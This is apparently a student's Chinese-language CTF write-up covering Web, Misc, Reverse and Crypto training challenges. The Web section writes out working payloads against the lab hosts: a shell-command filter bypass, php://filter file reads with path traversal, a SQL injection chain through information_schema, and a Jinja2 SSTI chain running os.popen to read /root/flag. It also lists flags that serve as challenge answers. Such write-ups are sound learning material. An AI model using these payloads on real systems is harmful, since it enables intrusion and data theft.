**wp**

**Web**

**外星人**：打开网页，发现文字可以复制，复制粘贴，得以下内容

Resistance is futile! Bring back Futurella or we'll invade!

Also, the flag is flag{e15180e0fff28a468387957d06ae0713}

**view source**:题目名称提示查看源码，进入网页后右键查看，得flag{0e394d6005f54b97670138518ad1f353}

**一个不能按的按钮**：进入网页，查看源码，去掉其中的‘disable=’,即可按动按钮，得flag{fa966345577ba81af19408f203db968f}

**Eszy\_request**：进入网页后，页面提示使用get提交变量，打开火狐内置的hackbar，

<http://xiyounet-ctftraing-web.node.xuntctf.top:10083/?a=1>

页面提示使用post提交变量，勾选post date ，输入b=2，得

flag{We1c0me\_T0\_xiyoUn1t!}

**夹心饼干：**题目暗指cookie，于是右键查看，点击网络，点击重新加载，点击第一个状态为200的域名，查看cookie，提示“cookie.php”,

<http://xiyounet-ctftraing-web.node.xuntctf.top:10087/cookie.php>

网页提示看一看 http response ！

查看消息头，在响应头中发现flag：flag{c503d56a-ead1-48d7-aaf7-bda27e0e90c4}

**一起来玩呀：**打开网页，发现是俄罗斯方块游戏，玩了几局，觉得可能是达到一定分数，于是查看源码，在index.js中发现了得到flag的函数

function getFlag() {

var req = new XMLHttpRequest();

req.open("GET", "f1Ag.php?score=" + score);

req.onload = function () {

alert(this.responseText);

};

提示get方式提交到f1Ag.php，于是随便输一个分数9999999999

<http://xiyounet-ctftraing-web.node.xuntctf.top:10086/f1Ag.php?score=9999999999>

得到 游戏结束，分数为：9999999999 flag{T3trI5\_i5\_i^t3ri^g}

**扫黑行动：**进入网页，查看源码，提示git泄露

使用githack，python2 GitHack.py 网址/.git/

获得falg.html

得flag{4aad2a8f-8fe6-475c-821d-fbe436c40691}

**争分夺秒的黑客：**进入网页后打开源码，上面 提示输入一个100-200之间的数，于是随便输了一个，竟然出了？！

知道这不是正确的解法，用burpsuite抓了包，然后去跑了一个100-200的数的字典，查看返回长度不同的一个，得到flag

**寻物启事：**打开源码，hint Do you know dirsearch ?

Dirsearch是一款目录爆破工具，在python3下运行

[10:25:44] 200 - 154B - /123.php

得知这个有问题，尝试访问

得到：谢谢你帮我找到玩具车。 为了感谢，我决定将它的出厂语音读给你听。 flag{Armageddon\_cannon\_is\_here}

**小姐姐来学http：**看这个意思，似乎是抓包改包。

进入网址，使用burpsuite抓包，然后send to repeater,开始修改

http改为3.0 Cookie: Sex改为=0

提示网协开发浏览器

User-Agent:改为 xiyounet99999.0

提示必须从本地访问

Cache-Control: no-cache 下面加入X-Forwarded-For: 127.0.0.1

提示我只认得utf-8

下面Accept-Charset: utf-8

提示Hello，小姐姐！flag就是"猪猪"的md5加密(～￣▽￣)～！

MD5 32位小写加密后包裹在flag头里

flag{58a0c3e27e7d8742e26ec054a433f0e6}

**花式绕过：**

浏览php码，知以get方式提交

?ctf=ls //ls是Linux常用命令，也可以dir

网页提示：50x.html flag.php index.php

发现目录下有flag文件，一开始可以直接打开，后来题改了。

?ctf=php%09fl??

用这种办法绕过，php在起来不会有匹配的内容 %09可以替代空格，flag被过滤，使用fl??，？匹配任意数，这里匹配为flag

提示：Could not open input file: fl?? 想到使用grep命令

?ctf=grep%09fla%09fla???hp

得到flag flag{486781b7368effbbda3c87c04296650b}

**你能看见我吗:**页面上显示一段php码，查阅相关资料后，知道用post提交，使用php://filter伪协议的方式读取文件内容

ctf=php://filter/convert.base64-encode/resource=hihintnt.php

一开始写的时候不对，后面是hint.php,后来想到存在$ctf = str\_replace($black\_list, '', $ctf); ，如果我们是hint.php则会变成.php，如果是hihintnt.php则为hint.php

获得PD9waHAKZmxhZ+WcqGZsYWdmbGFnLnBocOmHjAo/Pgo=

base64解码

<?php

flag在flagflag.php里

?>

打开flagflag.php，发现啥都没有。然后就不会了，学长说有个脑洞，但是我根本没看出来orz

然后他告诉我flag在上上层目录里，然后我就惊呆了。

ctf=php://filter/convert.base64-encode/resource=../flflagagflflagag.php

PD9waHANCiAgICBlY2hvICI8IS0tZmxhZ3s4MDAxYzRjYjZjYzQxYjZlNzRiZjQ4ODc4OGY4ZmExM30tLT4iDQo/Pg==

base64

<?php

echo "<!--flag{8001c4cb6cc41b6e74bf488788f8fa13}-->"

?>

**在线留言板：**查阅了ctf留言板有关的题目，觉得是sql注入

参见<https://blog.csdn.net/qq_42646885/article/details/95049378>

开始尝试

先用git hack，获取了网站源码，然后得到了注入点和过滤函数。

VALUES ('$nickname','$comment','$date','".$ip."','$is\_check')";

function test\_input($data) {

    $data = trim($data);

    $data = stripslashes($data);

    $data = htmlspecialchars($data);

    return $data;

过滤函数好像可以轻松绕过，然后在ip处注入

用户名随便写点，在留言处注入，然后找了个SQL注入得表

2','3',user(),'5')# 获取权限

2','3',(select(database())),'5')#查库

2','3',(select(group\_concat(table\_name))from(information\_schema.tables)where(table\_schema)like(database())),'5')#查表

2','3',(select(group\_concat(column\_name))from(information\_schema.columns)where(table\_name)like('f1ag')),'5')#查字段

2','3',(select(group\_concat(flag))from(f1ag)),'5')#查数据

这里flag其实已经出来了，但是是半截，想办法查资料后，打算用substr函数分割下

2','3',((substr((select(flag)from(f1ag)),16,32))),'5')#分割函数

得到flag

**HELLO PYTHON：**基于Flask的Jinja2模板的SSTI

这题得怪我运气实在是太好了，在csdn上找到一篇文章，试了试，似乎可以，然后按着人家的做，就这么出了！？发现这题和人家的做法完全吻合，啊这、

我其实完全不懂ssti

https://blog.csdn.net/Xxy605/article/details/108929106

用户名处为注入点，用burpsuite抓包，然后send to repeat开始

name={{config}}

name={{%27%27.\_\_class\_\_}}

name={{%27%27.\_\_class\_\_.\_\_mro\_\_}}

name={{%27%27.\_\_class\_\_.\_\_mro\_\_[-1].\_\_subclasses\_\_()}}

这里的214是数出来的，不会写脚本，只能一个一个数。

name={{%27%27.\_\_class\_\_.\_\_mro\_\_[-1].\_\_subclasses\_\_()[214].\_\_init\_\_.\_\_globals\_\_['\_\_builtins\_\_']['eval']('\_\_import\_\_("os").popen("ls /").read()')}}

name={{%27%27.\_\_class\_\_.\_\_mro\_\_[-1].\_\_subclasses\_\_()[214].\_\_init\_\_.\_\_globals\_\_['\_\_builtins\_\_']['eval']('\_\_import\_\_("os").popen("cat /root/flag").read()')}}

得到flag，flag{2710b010-2694-41ad-9485-e8f1664f790d}，被我屯了，害怕学长出新题。

以上是web部分。

**Misc**

**真pdf：**在攻防世界上做过，使用google浏览器打开，发现图片下有字

复制flag{xixix1\_!\_Y0u\_Find\_me111}

**图片有四种格式：**根据提示下载文件，用010打开，在尾部发现了flag

flag{A\_lIK3\_M15cCc}

**我的flag裂开了：**提示说头没了，联想到图片头，使用010打开，果然图片头不对，加入图片头后，两张图片回复正常了，两个半截的flag

**这就是个excel：**下载后，根据题目的提示，给文件加上xlsx后缀，在excel里打开，上面写着我已经看见flag了

然后发现隐藏着很多填有1的框，可能是二维码

将所有填有1的框全部涂黑，果然是个二维码

改变行高，然后用手机扫描，得到一串看上去不像是flag的字符

猜想base64，解密，得到flag

**Megumin ：**下载动图后，使用stegsolve分解，得到二维码，但是在三个角上打着×，修复后扫描二维码，得到一串后带==的密文，使用base64解码

得到了另一串，连续base32,base16解码，得到flag

flag{notia\_explosion}（未提交）

**Serize的秘密：**下载压缩包后发现有密码，题目说是他的生日，我使用了Advanced Archive Password Recovery来爆破，载入了一个2000-2004年生日字典，得到密码20021110吗，得到了flag

flag{S3R1Ze's\_SeCrEt}（未提交）

**zip加密：**根据题目条件，似乎是zip伪加密，使用csdn上下载的zip伪加密解密工具，得到flag{Zip\_i5\_In73rest1ng}（未提交）

**毅哥哥的表白信：**偷看提示，flag是得到的文字MD5加密后逆序

进入文件，发现左上角标题下有个小点，

拉开后里面的文字是“我想让你做我女朋友”（土味情话）

得到flag{cc3d5eeeb2a68bfa0f6c2139f87a748f}（未提交）

**Reverse**

**星星点灯：**攻防世界原题，下载后从8按到1，得到flag。

不会逆向，没用逆向的方法做

**Ezre：**使用IDA打开，得到

'int main(void) {',0Ah ; DATA XREF: \_main+Eo

' int a, b; scanf("%d%d", &a, &b); if(a == b) printf("ZmxhZ3sxNmNmOWIxMy0xYmE1LTQ3Y2MtYThiMC03M2Y4ZWRhNmU5ZTR9"); '

else printf("Try again");}',0

发现base64密文，解密得到flag{16cf9b13-1ba5-47cc-a8b0-73f8eda6e9e4}（未提交）

**免费的flag**：放进IDA，打开，F12查看，发现 flag{thls\_1s/n0t\_a-f1|ag!}(未提交)

为什么这个100的比上面50的还简单，是我走弯路了？

**Crypto**

**Base16\*4:**题目给出一段base64加密的密文，解密得到flag

**ezsy\_Caesar! ：**根据题目，上网搜索凯撒解密，解码后的到flag

**new base64：**下载py文件，得到加密方式，因为太菜了所以是手动一个一个对的，得到flag

**Railfence Cipher**：根据题目提示，搜索栅栏密码解码器，w型，栏目数为4

得到flag

**Pig：**查阅资料，发现是猪圈密码，解码得到flag

**what is 阿斯口码?** 打开.py文件，获得一串数组，利用ASCII码解码，获得flag

**总结：从CTF比赛中受益匪浅，同时也感知到了自己的不足。相信我会继续在这条路上走下去。**